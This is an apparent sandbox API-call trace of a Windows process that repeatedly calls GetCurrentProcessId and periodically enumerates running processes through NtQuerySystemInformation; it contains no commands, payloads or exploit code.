[0114.609] GetCurrentProcessId () returned 0xd70 [0114.610] GetCurrentProcessId () returned 0xd70 [0114.610] GetCurrentProcessId () returned 0xd70 [0114.610] GetCurrentProcessId () returned 0xd70 [0114.610] GetCurrentProcessId () returned 0xd70 [0114.610] GetCurrentProcessId () returned 0xd70 [0114.610] GetCurrentProcessId () returned 0xd70 [0114.610] GetCurrentProcessId () returned 0xd70 [0114.610] GetCurrentProcessId () returned 0xd70 [0114.610] GetCurrentProcessId () returned 0xd70 [0114.610] GetCurrentProcessId () returned 0xd70 [0114.610] GetCurrentProcessId () returned 0xd70 [0114.610] GetCurrentProcessId () returned 0xd70 [0114.610] GetCurrentProcessId () returned 0xd70 [0114.610] GetCurrentProcessId () returned 0xd70 [0114.610] GetCurrentProcessId () returned 0xd70 [0114.610] GetCurrentProcessId () returned 0xd70 [0114.610] GetCurrentProcessId () returned 0xd70 [0114.610] GetCurrentProcessId () returned 0xd70 [0114.611] GetCurrentProcessId () returned 0xd70 [0114.611] GetCurrentProcessId () returned 0xd70 [0114.611] GetCurrentProcessId () returned 0xd70 [0114.611] GetCurrentProcessId () returned 0xd70 [0114.611] GetCurrentProcessId () returned 0xd70 [0114.611] GetCurrentProcessId () returned 0xd70 [0114.611] GetCurrentProcessId () returned 0xd70 [0114.611] GetCurrentProcessId () returned 0xd70 [0114.611] GetCurrentProcessId () returned 0xd70 [0114.611] GetCurrentProcessId () returned 0xd70 [0114.611] GetCurrentProcessId () returned 0xd70 [0114.611] GetCurrentProcessId () returned 0xd70 [0114.611] GetCurrentProcessId () returned 0xd70 [0114.611] GetCurrentProcessId () returned 0xd70 [0114.611] GetCurrentProcessId () returned 0xd70 [0114.611] GetCurrentProcessId () returned 0xd70 [0114.611] GetCurrentProcessId () returned 0xd70 [0114.612] GetCurrentProcessId () returned 0xd70 [0114.612] GetCurrentProcessId () returned 0xd70 [0114.612] GetCurrentProcessId () returned 0xd70 [0114.612] GetCurrentProcessId () returned 0xd70 [0114.612] GetCurrentProcessId () returned 0xd70 [0114.612] GetCurrentProcessId () returned 0xd70 [0114.612] GetCurrentProcessId () returned 0xd70 [0114.612] GetCurrentProcessId () returned 0xd70 [0114.612] GetCurrentProcessId () returned 0xd70 [0114.612] GetCurrentProcessId () returned 0xd70 [0114.612] GetCurrentProcessId () returned 0xd70 [0114.612] GetCurrentProcessId () returned 0xd70 [0114.612] GetCurrentProcessId () returned 0xd70 [0114.612] GetCurrentProcessId () returned 0xd70 [0114.612] GetCurrentProcessId () returned 0xd70 [0114.612] GetCurrentProcessId () returned 0xd70 [0114.612] GetCurrentProcessId () returned 0xd70 [0114.612] GetCurrentProcessId () returned 0xd70 [0114.613] GetCurrentProcessId () returned 0xd70 [0114.613] GetCurrentProcessId () returned 0xd70 [0114.613] GetCurrentProcessId () returned 0xd70 [0114.613] GetCurrentProcessId () returned 0xd70 [0114.613] GetCurrentProcessId () returned 0xd70 [0114.613] GetCurrentProcessId () returned 0xd70 [0115.170] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1ba18) returned 0x0 [0115.173] GetCurrentProcessId () returned 0xd70 [0115.173] GetCurrentProcessId () returned 0xd70 [0115.173] GetCurrentProcessId () returned 0xd70 [0115.173] GetCurrentProcessId () returned 0xd70 [0115.173] GetCurrentProcessId () returned 0xd70 [0115.173] GetCurrentProcessId () returned 0xd70 [0115.174] GetCurrentProcessId () returned 0xd70 [0115.174] GetCurrentProcessId () returned 0xd70 [0115.174] GetCurrentProcessId () returned 0xd70 [0115.174] GetCurrentProcessId () returned 0xd70 [0115.174] GetCurrentProcessId () returned 0xd70 [0115.174] GetCurrentProcessId () returned 0xd70 [0115.174] GetCurrentProcessId () returned 0xd70 [0115.174] GetCurrentProcessId () returned 0xd70 [0115.174] GetCurrentProcessId () returned 0xd70 [0115.174] GetCurrentProcessId () returned 0xd70 [0115.174] GetCurrentProcessId () returned 0xd70 [0115.174] GetCurrentProcessId () returned 0xd70 [0115.174] GetCurrentProcessId () returned 0xd70 [0115.174] GetCurrentProcessId () returned 0xd70 [0115.174] GetCurrentProcessId () returned 0xd70 [0115.174] GetCurrentProcessId () returned 0xd70 [0115.174] GetCurrentProcessId () returned 0xd70 [0115.175] GetCurrentProcessId () returned 0xd70 [0115.175] GetCurrentProcessId () returned 0xd70 [0115.175] GetCurrentProcessId () returned 0xd70 [0115.175] GetCurrentProcessId () returned 0xd70 [0115.175] GetCurrentProcessId () returned 0xd70 [0115.175] GetCurrentProcessId () returned 0xd70 [0115.175] GetCurrentProcessId () returned 0xd70 [0115.175] GetCurrentProcessId () returned 0xd70 [0115.175] GetCurrentProcessId () returned 0xd70 [0115.175] GetCurrentProcessId () returned 0xd70 [0115.175] GetCurrentProcessId () returned 0xd70 [0115.175] GetCurrentProcessId () returned 0xd70 [0115.175] GetCurrentProcessId () returned 0xd70 [0115.175] GetCurrentProcessId () returned 0xd70 [0115.175] GetCurrentProcessId () returned 0xd70 [0115.175] GetCurrentProcessId () returned 0xd70 [0115.175] GetCurrentProcessId () returned 0xd70 [0115.175] GetCurrentProcessId () returned 0xd70 [0115.175] GetCurrentProcessId () returned 0xd70 [0115.175] GetCurrentProcessId () returned 0xd70 [0115.175] GetCurrentProcessId () returned 0xd70 [0115.175] GetCurrentProcessId () returned 0xd70 [0115.176] GetCurrentProcessId () returned 0xd70 [0115.176] GetCurrentProcessId () returned 0xd70 [0115.176] GetCurrentProcessId () returned 0xd70 [0115.176] GetCurrentProcessId () returned 0xd70 [0115.176] GetCurrentProcessId () returned 0xd70 [0115.176] GetCurrentProcessId () returned 0xd70 [0115.176] GetCurrentProcessId () returned 0xd70 [0115.176] GetCurrentProcessId () returned 0xd70 [0115.176] GetCurrentProcessId () returned 0xd70 [0115.176] GetCurrentProcessId () returned 0xd70 [0115.176] GetCurrentProcessId () returned 0xd70 [0115.176] GetCurrentProcessId () returned 0xd70 [0115.176] GetCurrentProcessId () returned 0xd70 [0115.176] GetCurrentProcessId () returned 0xd70 [0115.176] GetCurrentProcessId () returned 0xd70 [0115.176] GetCurrentProcessId () returned 0xd70 [0115.176] GetCurrentProcessId () returned 0xd70 [0115.176] GetCurrentProcessId () returned 0xd70 [0115.176] GetCurrentProcessId () returned 0xd70 [0115.176] GetCurrentProcessId () returned 0xd70 [0115.176] GetCurrentProcessId () returned 0xd70 [0115.176] GetCurrentProcessId () returned 0xd70 [0115.176] GetCurrentProcessId () returned 0xd70 [0115.176] GetCurrentProcessId () returned 0xd70 [0115.176] GetCurrentProcessId () returned 0xd70 [0115.177] GetCurrentProcessId () returned 0xd70 [0115.177] GetCurrentProcessId () returned 0xd70 [0115.177] GetCurrentProcessId () returned 0xd70 [0115.177] GetCurrentProcessId () returned 0xd70 [0115.177] GetCurrentProcessId () returned 0xd70 [0115.177] GetCurrentProcessId () returned 0xd70 [0115.177] GetCurrentProcessId () returned 0xd70 [0115.177] GetCurrentProcessId () returned 0xd70 [0115.177] GetCurrentProcessId () returned 0xd70 [0115.177] GetCurrentProcessId () returned 0xd70 [0115.177] GetCurrentProcessId () returned 0xd70 [0115.177] GetCurrentProcessId () returned 0xd70 [0115.177] GetCurrentProcessId () returned 0xd70 [0115.177] GetCurrentProcessId () returned 0xd70 [0115.177] GetCurrentProcessId () returned 0xd70 [0115.177] GetCurrentProcessId () returned 0xd70 [0115.177] GetCurrentProcessId () returned 0xd70 [0115.177] GetCurrentProcessId () returned 0xd70 [0115.177] GetCurrentProcessId () returned 0xd70 [0115.177] GetCurrentProcessId () returned 0xd70 [0115.177] GetCurrentProcessId () returned 0xd70 [0115.177] GetCurrentProcessId () returned 0xd70 [0115.177] GetCurrentProcessId () returned 0xd70 [0115.178] GetCurrentProcessId () returned 0xd70 [0115.178] GetCurrentProcessId () returned 0xd70 [0115.178] GetCurrentProcessId () returned 0xd70 [0115.178] GetCurrentProcessId () returned 0xd70 [0115.178] GetCurrentProcessId () returned 0xd70 [0115.178] GetCurrentProcessId () returned 0xd70 [0115.178] GetCurrentProcessId () returned 0xd70 [0115.178] GetCurrentProcessId () returned 0xd70 [0115.178] GetCurrentProcessId () returned 0xd70 [0115.729] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1bcb8) returned 0x0 [0115.736] GetCurrentProcessId () returned 0xd70 [0115.736] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.737] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.738] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.739] GetCurrentProcessId () returned 0xd70 [0115.740] GetCurrentProcessId () returned 0xd70 [0115.740] GetCurrentProcessId () returned 0xd70 [0115.740] GetCurrentProcessId () returned 0xd70 [0115.740] GetCurrentProcessId () returned 0xd70 [0115.740] GetCurrentProcessId () returned 0xd70 [0115.740] GetCurrentProcessId () returned 0xd70 [0115.740] GetCurrentProcessId () returned 0xd70 [0115.740] GetCurrentProcessId () returned 0xd70 [0115.740] GetCurrentProcessId () returned 0xd70 [0115.740] GetCurrentProcessId () returned 0xd70 [0116.282] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1ba18) returned 0x0 [0116.283] GetCurrentProcessId () returned 0xd70 [0116.283] GetCurrentProcessId () returned 0xd70 [0116.283] GetCurrentProcessId () returned 0xd70 [0116.283] GetCurrentProcessId () returned 0xd70 [0116.283] GetCurrentProcessId () returned 0xd70 [0116.283] GetCurrentProcessId () returned 0xd70 [0116.283] GetCurrentProcessId () returned 0xd70 [0116.283] GetCurrentProcessId () returned 0xd70 [0116.283] GetCurrentProcessId () returned 0xd70 [0116.283] GetCurrentProcessId () returned 0xd70 [0116.283] GetCurrentProcessId () returned 0xd70 [0116.283] GetCurrentProcessId () returned 0xd70 [0116.283] GetCurrentProcessId () returned 0xd70 [0116.283] GetCurrentProcessId () returned 0xd70 [0116.283] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.284] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.285] GetCurrentProcessId () returned 0xd70 [0116.286] GetCurrentProcessId () returned 0xd70 [0116.286] GetCurrentProcessId () returned 0xd70 [0116.286] GetCurrentProcessId () returned 0xd70 [0116.286] GetCurrentProcessId () returned 0xd70 [0116.286] GetCurrentProcessId () returned 0xd70 [0116.286] GetCurrentProcessId () returned 0xd70 [0116.286] GetCurrentProcessId () returned 0xd70 [0116.286] GetCurrentProcessId () returned 0xd70 [0116.286] GetCurrentProcessId () returned 0xd70 [0116.286] GetCurrentProcessId () returned 0xd70 [0116.286] GetCurrentProcessId () returned 0xd70 [0116.286] GetCurrentProcessId () returned 0xd70 [0116.286] GetCurrentProcessId () returned 0xd70 [0116.286] GetCurrentProcessId () returned 0xd70 [0116.286] GetCurrentProcessId () returned 0xd70 [0116.286] GetCurrentProcessId () returned 0xd70 [0116.286] GetCurrentProcessId () returned 0xd70 [0116.286] GetCurrentProcessId () returned 0xd70 [0116.286] GetCurrentProcessId () returned 0xd70 [0116.286] GetCurrentProcessId () returned 0xd70 [0116.286] GetCurrentProcessId () returned 0xd70 [0116.286] GetCurrentProcessId () returned 0xd70 [0116.286] GetCurrentProcessId () returned 0xd70 [0116.888] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1bc68) returned 0x0 [0116.889] GetCurrentProcessId () returned 0xd70 [0116.889] GetCurrentProcessId () returned 0xd70 [0116.889] GetCurrentProcessId () returned 0xd70 [0116.889] GetCurrentProcessId () returned 0xd70 [0116.889] GetCurrentProcessId () returned 0xd70 [0116.889] GetCurrentProcessId () returned 0xd70 [0116.889] GetCurrentProcessId () returned 0xd70 [0116.889] GetCurrentProcessId () returned 0xd70 [0116.889] GetCurrentProcessId () returned 0xd70 [0116.889] GetCurrentProcessId () returned 0xd70 [0116.889] GetCurrentProcessId () returned 0xd70 [0116.889] GetCurrentProcessId () returned 0xd70 [0116.889] GetCurrentProcessId () returned 0xd70 [0116.889] GetCurrentProcessId () returned 0xd70 [0116.889] GetCurrentProcessId () returned 0xd70 [0116.889] GetCurrentProcessId () returned 0xd70 [0116.889] GetCurrentProcessId () returned 0xd70 [0116.889] GetCurrentProcessId () returned 0xd70 [0116.889] GetCurrentProcessId () returned 0xd70 [0116.889] GetCurrentProcessId () returned 0xd70 [0116.889] GetCurrentProcessId () returned 0xd70 [0116.889] GetCurrentProcessId () returned 0xd70 [0116.889] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.890] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.891] GetCurrentProcessId () returned 0xd70 [0116.892] GetCurrentProcessId () returned 0xd70 [0116.892] GetCurrentProcessId () returned 0xd70 [0116.892] GetCurrentProcessId () returned 0xd70 [0116.892] GetCurrentProcessId () returned 0xd70 [0116.892] GetCurrentProcessId () returned 0xd70 [0116.892] GetCurrentProcessId () returned 0xd70 [0116.892] GetCurrentProcessId () returned 0xd70 [0116.892] GetCurrentProcessId () returned 0xd70 [0116.892] GetCurrentProcessId () returned 0xd70 [0116.892] GetCurrentProcessId () returned 0xd70 [0116.892] GetCurrentProcessId () returned 0xd70 [0116.892] GetCurrentProcessId () returned 0xd70 [0116.892] GetCurrentProcessId () returned 0xd70 [0116.892] GetCurrentProcessId () returned 0xd70 [0116.892] GetCurrentProcessId () returned 0xd70 [0116.892] GetCurrentProcessId () returned 0xd70 [0116.892] GetCurrentProcessId () returned 0xd70 [0116.892] GetCurrentProcessId () returned 0xd70 [0117.413] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1b9c8) returned 0x0 [0117.427] GetCurrentProcessId () returned 0xd70 [0117.427] GetCurrentProcessId () returned 0xd70 [0117.427] GetCurrentProcessId () returned 0xd70 [0117.427] GetCurrentProcessId () returned 0xd70 [0117.427] GetCurrentProcessId () returned 0xd70 [0117.427] GetCurrentProcessId () returned 0xd70 [0117.427] GetCurrentProcessId () returned 0xd70 [0117.427] GetCurrentProcessId () returned 0xd70 [0117.427] GetCurrentProcessId () returned 0xd70 [0117.427] GetCurrentProcessId () returned 0xd70 [0117.427] GetCurrentProcessId () returned 0xd70 [0117.428] GetCurrentProcessId () returned 0xd70 [0117.428] GetCurrentProcessId () returned 0xd70 [0117.428] GetCurrentProcessId () returned 0xd70 [0117.428] GetCurrentProcessId () returned 0xd70 [0117.428] GetCurrentProcessId () returned 0xd70 [0117.428] GetCurrentProcessId () returned 0xd70 [0117.428] GetCurrentProcessId () returned 0xd70 [0117.428] GetCurrentProcessId () returned 0xd70 [0117.428] GetCurrentProcessId () returned 0xd70 [0117.428] GetCurrentProcessId () returned 0xd70 [0117.428] GetCurrentProcessId () returned 0xd70 [0117.428] GetCurrentProcessId () returned 0xd70 [0117.428] GetCurrentProcessId () returned 0xd70 [0117.428] GetCurrentProcessId () returned 0xd70 [0117.428] GetCurrentProcessId () returned 0xd70 [0117.428] GetCurrentProcessId () returned 0xd70 [0117.428] GetCurrentProcessId () returned 0xd70 [0117.428] GetCurrentProcessId () returned 0xd70 [0117.428] GetCurrentProcessId () returned 0xd70 [0117.428] GetCurrentProcessId () returned 0xd70 [0117.428] GetCurrentProcessId () returned 0xd70 [0117.428] GetCurrentProcessId () returned 0xd70 [0117.428] GetCurrentProcessId () returned 0xd70 [0117.428] GetCurrentProcessId () returned 0xd70 [0117.428] GetCurrentProcessId () returned 0xd70 [0117.429] GetCurrentProcessId () returned 0xd70 [0117.429] GetCurrentProcessId () returned 0xd70 [0117.429] GetCurrentProcessId () returned 0xd70 [0117.429] GetCurrentProcessId () returned 0xd70 [0117.429] GetCurrentProcessId () returned 0xd70 [0117.429] GetCurrentProcessId () returned 0xd70 [0117.429] GetCurrentProcessId () returned 0xd70 [0117.429] GetCurrentProcessId () returned 0xd70 [0117.429] GetCurrentProcessId () returned 0xd70 [0117.429] GetCurrentProcessId () returned 0xd70 [0117.429] GetCurrentProcessId () returned 0xd70 [0117.429] GetCurrentProcessId () returned 0xd70 [0117.429] GetCurrentProcessId () returned 0xd70 [0117.429] GetCurrentProcessId () returned 0xd70 [0117.429] GetCurrentProcessId () returned 0xd70 [0117.429] GetCurrentProcessId () returned 0xd70 [0117.429] GetCurrentProcessId () returned 0xd70 [0117.429] GetCurrentProcessId () returned 0xd70 [0117.429] GetCurrentProcessId () returned 0xd70 [0117.429] GetCurrentProcessId () returned 0xd70 [0117.429] GetCurrentProcessId () returned 0xd70 [0117.429] GetCurrentProcessId () returned 0xd70 [0117.429] GetCurrentProcessId () returned 0xd70 [0117.429] GetCurrentProcessId () returned 0xd70 [0117.429] GetCurrentProcessId () returned 0xd70 [0117.429] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.430] GetCurrentProcessId () returned 0xd70 [0117.431] GetCurrentProcessId () returned 0xd70 [0117.431] GetCurrentProcessId () returned 0xd70 [0117.431] GetCurrentProcessId () returned 0xd70 [0117.431] GetCurrentProcessId () returned 0xd70 [0117.431] GetCurrentProcessId () returned 0xd70 [0117.431] GetCurrentProcessId () returned 0xd70 [0117.431] GetCurrentProcessId () returned 0xd70 [0117.431] GetCurrentProcessId () returned 0xd70 [0117.431] GetCurrentProcessId () returned 0xd70 [0117.431] GetCurrentProcessId () returned 0xd70 [0117.431] GetCurrentProcessId () returned 0xd70 [0117.431] GetCurrentProcessId () returned 0xd70 [0117.431] GetCurrentProcessId () returned 0xd70 [0117.952] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1bc58) returned 